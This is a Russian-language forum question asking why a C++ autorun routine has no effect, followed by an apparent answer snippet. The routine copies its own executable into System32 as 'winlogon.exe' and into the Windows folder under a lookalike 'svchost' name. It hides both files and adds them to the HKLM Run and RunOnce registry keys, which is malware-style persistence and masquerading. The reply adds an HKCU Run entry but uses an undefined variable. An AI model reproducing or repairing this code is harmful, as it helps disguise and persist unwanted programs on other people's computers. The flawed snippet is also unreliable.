с++ copyfile && regSetvalue не работает void autoruns() { HKEY hKey; char path[MAX_PATH]; char sys[MAX_PATH]; //строки char windir[MAX_PATH]; char keyname1[]="winlogon"; //имя ключа в автозагрузке файла в папке system32 char keyname2[]="svchost"; //имя ключа в автозагрузку файла в папке windows char namefile1[]="\\winlogon.exe"; char namefile2[]="\\svсhost.exe"; //------------- GetModuleFileName(NULL,path,sizeof(path)); GetSystemDirectory(sys,sizeof(sys)); //определение директорий GetWindowsDirectory(windir,sizeof(windir)); //------------- strcat(sys,namefile1); //прибавление системным путям имена файлов strcat(windir,namefile2);//------------- CopyFile(path,sys,false); //копирование в папки CopyFile(path,windir,false); //------------- SetFileAttributes(sys,FILE_ATTRIBUTE_HIDDEN); //делаем файл в системной папке скрытым SetFileAttributes(windir,FILE_ATTRIBUTE_HIDDEN); //деламе файл в папке виндовс скрытым //------------- RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,keyname1,0,REG_SZ,(const unsigned char*)sys,sizeof(sys)); //прописываем в реестр RegSetValueEx(hKey,keyname2,0,REG_SZ,(const unsigned char*)windir,sizeof(windir)); RegCloseKey(hKey); RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",0,KEY_SET_VALUE,&hKey); RegSetValueEx(hKey,keyname1,0,REG_SZ,(const unsigned char*)sys,sizeof(sys)); //прописываем в реестр RegSetValueEx(hKey,keyname2,0,REG_SZ,(const unsigned char*)windir,sizeof(windir)); RegCloseKey(hKey); } код компилируется,выполняется,но не видно последствий работы...почему не работает в чем проблема?
CString path; char win_dir[MAX_PATH]; GetWindowsDirectory(win_dir, MAX_PATH); path=win_dir; path+="\\"; path+="program.exe"; char pathArr[MAX_PATH]; strcpy(pathArr, path); HKEY key; DWORD pos; RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&pos); RegSetValueEx(key,"имя программы.exe",0,REG_SZ,(BYTE*)path,path_name.GetLength()); RegCloseKey(key);